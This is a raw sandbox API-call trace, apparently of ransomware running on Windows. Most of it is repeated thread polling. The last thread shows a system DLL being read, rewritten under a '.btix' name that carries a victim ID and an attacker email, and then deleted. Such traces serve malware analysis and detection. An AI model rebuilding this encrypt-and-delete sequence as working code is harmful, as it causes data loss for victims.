0x271bb [0068.627] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.765] GetTickCount () returned 0x27248 [0068.765] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0068.966] GetTickCount () returned 0x27313 [0068.966] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0069.113] GetTickCount () returned 0x2739f [0069.113] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0070.083] GetTickCount () returned 0x27768 [0070.083] GetTickCount () returned 0x27768 [0070.083] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0070.582] GetTickCount () returned 0x2795c [0070.582] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0071.518] GetTickCount () returned 0x27d06 [0071.518] GetTickCount () returned 0x27d06 [0071.518] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0071.650] GetTickCount () returned 0x27d83 [0071.650] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0071.819] GetTickCount () returned 0x27e2f [0071.819] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xeb8 [0040.431] GetTickCount () returned 0x203a0 [0040.431] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x24) returned 0x6ef240 [0040.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0040.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0040.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0040.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0040.433] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ec770 [0040.433] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ec770, Size=0x20) returned 0x6cec28 [0040.433] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ec890 [0040.433] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ec890, Size=0x20) returned 0x6cec78 [0040.433] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.434] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.434] Wow64DisableWow64FsRedirection (in: OldValue=0x29aff7c | out: OldValue=0x29aff7c*=0x0) returned 1 [0040.434] lstrlenW (lpString="kernel32.dll") returned 12 [0040.434] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec28 | out: hHeap=0x690000) returned 1 [0040.434] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.434] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec78 | out: hHeap=0x690000) returned 1 [0040.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6faf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0040.434] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0040.641] GetTickCount () returned 0x2046b [0040.641] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0040.813] GetTickCount () returned 0x20517 [0040.813] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0041.002] GetTickCount () returned 0x205e2 [0041.002] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0041.237] GetTickCount () returned 0x206bc [0041.237] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0041.426] GetTickCount () returned 0x20778 [0041.426] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0042.058] GetTickCount () returned 0x209e9 [0042.058] GetTickCount () returned 0x209e9 [0042.058] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0042.460] GetTickCount () returned 0x20b7f [0042.460] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0042.585] GetTickCount () returned 0x20bfc [0042.585] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0042.686] GetTickCount () returned 0x20c6a [0042.686] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0042.795] GetTickCount () returned 0x20cd7 [0042.795] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0043.043] GetTickCount () returned 0x20dc1 [0043.043] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0043.387] GetTickCount () returned 0x20f19 [0043.387] GetTickCount () returned 0x20f19 [0043.387] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0043.930] GetTickCount () returned 0x2113c [0043.930] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0044.322] GetTickCount () returned 0x212c3 [0044.322] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0044.525] GetTickCount () returned 0x2138e [0044.525] GetTickCount () returned 0x2138e [0044.525] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0044.806] GetTickCount () returned 0x214a7 [0044.807] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.187] GetTickCount () returned 0x2162e [0045.187] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.299] GetTickCount () returned 0x2169b [0045.299] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.424] GetTickCount () returned 0x21718 [0045.424] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.528] GetTickCount () returned 0x21785 [0045.528] GetTickCount () returned 0x21785 [0045.528] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.653] GetTickCount () returned 0x21802 [0045.653] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.773] GetTickCount () returned 0x21870 [0045.773] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0045.885] GetTickCount () returned 0x218dd [0045.885] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0046.254] GetTickCount () returned 0x21a54 [0046.254] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0046.520] GetTickCount () returned 0x21b6d [0046.520] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0046.743] GetTickCount () returned 0x21c38 [0046.743] GetTickCount () returned 0x21c38 [0046.743] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0047.016] GetTickCount () returned 0x21d52 [0047.016] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0047.331] GetTickCount () returned 0x21e9a [0047.331] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0047.629] GetTickCount () returned 0x21fb3 [0047.629] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0047.742] GetTickCount () returned 0x22020 [0047.742] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0048.258] GetTickCount () returned 0x22224 [0048.258] GetTickCount () returned 0x22224 [0048.258] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0048.668] GetTickCount () returned 0x223ca [0048.668] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0049.288] GetTickCount () returned 0x2262b [0049.288] GetTickCount () returned 0x2262b [0049.288] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0049.615] GetTickCount () returned 0x22773 [0049.615] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0050.007] GetTickCount () returned 0x2290a [0050.007] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0050.575] GetTickCount () returned 0x22b3c [0050.575] GetTickCount () returned 0x22b3c [0050.575] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0050.851] GetTickCount () returned 0x22c55 [0050.851] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0051.240] GetTickCount () returned 0x22dcc [0051.240] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0051.810] GetTickCount () returned 0x2300f [0051.810] GetTickCount () returned 0x2300f [0051.810] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0052.483] GetTickCount () returned 0x232ae [0052.483] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0052.708] GetTickCount () returned 0x23389 [0052.708] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0052.911] GetTickCount () returned 0x23454 [0052.911] GetTickCount () returned 0x23454 [0052.911] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.010] GetTickCount () returned 0x234c2 [0053.010] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.217] GetTickCount () returned 0x2358d [0053.217] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.374] GetTickCount () returned 0x23629 [0053.374] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.478] GetTickCount () returned 0x23696 [0053.478] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.622] GetTickCount () returned 0x23723 [0053.622] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.735] GetTickCount () returned 0x23790 [0053.735] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0053.837] GetTickCount () returned 0x237fe [0053.837] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0054.016] GetTickCount () returned 0x238aa [0054.016] GetTickCount () returned 0x238aa [0054.016] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0054.119] GetTickCount () returned 0x23917 [0054.119] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0054.714] GetTickCount () returned 0x23b69 [0054.714] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0055.389] GetTickCount () returned 0x23e09 [0055.389] GetTickCount () returned 0x23e09 [0055.389] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0055.776] GetTickCount () returned 0x23f8f [0055.776] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0056.164] GetTickCount () returned 0x24106 [0056.164] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0056.762] GetTickCount () returned 0x24368 [0056.762] GetTickCount () returned 0x24368 [0056.762] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0056.950] GetTickCount () returned 0x24423 [0056.950] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.097] GetTickCount () returned 0x244b0 [0057.097] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.237] GetTickCount () returned 0x2453c [0057.237] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.382] GetTickCount () returned 0x245c9 [0057.383] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.514] GetTickCount () returned 0x24656 [0057.514] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0057.969] GetTickCount () returned 0x2481b [0057.969] GetTickCount () returned 0x2481b [0057.969] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.081] GetTickCount () returned 0x24888 [0058.081] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.206] GetTickCount () returned 0x24905 [0058.206] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.314] GetTickCount () returned 0x24973 [0058.314] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.498] GetTickCount () returned 0x24a2e [0058.498] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.674] GetTickCount () returned 0x24ada [0058.674] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.856] GetTickCount () returned 0x24b95 [0058.856] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0058.969] GetTickCount () returned 0x24c03 [0058.969] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0059.121] GetTickCount () returned 0x24c9f [0059.121] GetTickCount () returned 0x24c9f [0059.121] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0059.277] GetTickCount () returned 0x24d3b [0059.277] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0059.645] GetTickCount () returned 0x24ea3 [0059.645] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0059.990] GetTickCount () returned 0x24ffa [0059.990] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.339] GetTickCount () returned 0x25162 [0060.339] GetTickCount () returned 0x25162 [0060.339] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.586] GetTickCount () returned 0x2524c [0060.586] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.687] GetTickCount () returned 0x252ba [0060.687] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.799] GetTickCount () returned 0x25327 [0060.799] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0060.917] GetTickCount () returned 0x253a4 [0060.917] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.067] GetTickCount () returned 0x25431 [0061.067] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.167] GetTickCount () returned 0x2549e [0061.167] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.281] GetTickCount () returned 0x2550b [0061.281] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.553] GetTickCount () returned 0x25625 [0061.553] GetTickCount () returned 0x25625 [0061.553] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.660] GetTickCount () returned 0x25692 [0061.660] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.769] GetTickCount () returned 0x256ff [0061.769] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.882] GetTickCount () returned 0x2576d [0061.882] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0061.987] GetTickCount () returned 0x257da [0061.987] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.097] GetTickCount () returned 0x25847 [0062.097] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.206] GetTickCount () returned 0x258b5 [0062.206] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.328] GetTickCount () returned 0x25922 [0062.329] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.430] GetTickCount () returned 0x25990 [0062.430] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.535] GetTickCount () returned 0x259fd [0062.535] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.645] GetTickCount () returned 0x25a6a [0062.645] GetTickCount () returned 0x25a6a [0062.645] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.758] GetTickCount () returned 0x25ad8 [0062.758] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.873] GetTickCount () returned 0x25b45 [0062.873] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0062.980] GetTickCount () returned 0x25bb2 [0062.980] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.090] GetTickCount () returned 0x25c20 [0063.090] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.199] GetTickCount () returned 0x25c8d [0063.199] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.309] GetTickCount () returned 0x25cfb [0063.309] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.415] GetTickCount () returned 0x25d68 [0063.415] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.524] GetTickCount () returned 0x25dd5 [0063.524] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.633] GetTickCount () returned 0x25e43 [0063.633] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.745] GetTickCount () returned 0x25eb0 [0063.745] GetTickCount () returned 0x25eb0 [0063.745] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.852] GetTickCount () returned 0x25f1d [0063.852] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0063.961] GetTickCount () returned 0x25f8b [0063.961] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.123] GetTickCount () returned 0x26027 [0064.123] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.665] GetTickCount () returned 0x2624a [0064.665] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.776] GetTickCount () returned 0x262b7 [0064.776] GetTickCount () returned 0x262b7 [0064.776] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.883] GetTickCount () returned 0x26325 [0064.883] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0064.993] GetTickCount () returned 0x26392 [0064.993] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.107] GetTickCount () returned 0x263ff [0065.107] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.389] GetTickCount () returned 0x26519 [0065.389] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.597] GetTickCount () returned 0x265e4 [0065.597] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.703] GetTickCount () returned 0x26651 [0065.703] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0065.939] GetTickCount () returned 0x2673c [0065.939] GetTickCount () returned 0x2673c [0065.939] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.155] GetTickCount () returned 0x26816 [0066.156] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.312] GetTickCount () returned 0x268b3 [0066.312] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.422] GetTickCount () returned 0x26920 [0066.422] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.638] GetTickCount () returned 0x269fb [0066.638] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.802] GetTickCount () returned 0x26a97 [0066.802] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0066.939] GetTickCount () returned 0x26b24 [0066.939] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.097] GetTickCount () returned 0x26bc0 [0067.097] GetTickCount () returned 0x26bc0 [0067.097] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.239] GetTickCount () returned 0x26c4c [0067.239] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.450] GetTickCount () returned 0x26d18 [0067.450] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.565] GetTickCount () returned 0x26d95 [0067.565] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.737] GetTickCount () returned 0x26e40 [0067.737] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0067.846] GetTickCount () returned 0x26eae [0067.846] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.014] GetTickCount () returned 0x26f5a [0068.014] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.128] GetTickCount () returned 0x26fc7 [0068.128] GetTickCount () returned 0x26fc7 [0068.128] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.233] GetTickCount () returned 0x27034 [0068.233] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.361] GetTickCount () returned 0x270b1 [0068.361] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.519] GetTickCount () returned 0x2714e [0068.519] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.627] GetTickCount () returned 0x271bb [0068.627] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.764] GetTickCount () returned 0x27248 [0068.764] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0068.966] GetTickCount () returned 0x27313 [0068.967] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0069.113] GetTickCount () returned 0x2739f [0069.113] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0070.083] GetTickCount () returned 0x27768 [0070.083] GetTickCount () returned 0x27768 [0070.083] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0070.582] GetTickCount () returned 0x2795c [0070.582] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0071.518] GetTickCount () returned 0x27d06 [0071.518] GetTickCount () returned 0x27d06 [0071.518] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0071.650] GetTickCount () returned 0x27d83 [0071.650] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0071.819] GetTickCount () returned 0x27e2f [0071.819] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) Thread: id = 12 os_tid = 0xd78 [0040.817] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x71dba0 [0040.817] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x72dba8 [0040.817] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6eca58 [0040.817] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d150 [0040.818] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecb60 [0040.818] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x38fa020 [0040.820] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6eca70 [0040.820] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6eca70, Size=0x20) returned 0x6ce7c8 [0040.820] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecba8 [0040.820] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecba8, Size=0x20) returned 0x6ce7f0 [0040.820] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.820] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.820] Wow64DisableWow64FsRedirection (in: OldValue=0x262ff50 | out: OldValue=0x262ff50*=0x0) returned 1 [0040.820] lstrlenW (lpString="kernel32.dll") returned 12 [0040.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.820] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.820] Sleep (dwMilliseconds=0x64) [0041.196] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.196] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0041.196] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.394] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=144072) returned 1 [0041.394] CloseHandle (hObject=0x308) returned 1 [0041.394] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0041.394] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.394] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.394] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.394] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.394] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.394] GetLastError () returned 0x0 [0041.395] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0041.470] WriteFile (in: hFile=0x30c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0041.472] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.472] WriteFile (in: hFile=0x30c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.473] SetEndOfFile (hFile=0x30c) returned 1 [0041.650] CloseHandle (hObject=0x30c) returned 1 [0041.688] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.688] SetEndOfFile (hFile=0x308) returned 1 [0041.689] CloseHandle (hObject=0x308) returned 1 [0041.689] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.689] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0041.690] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 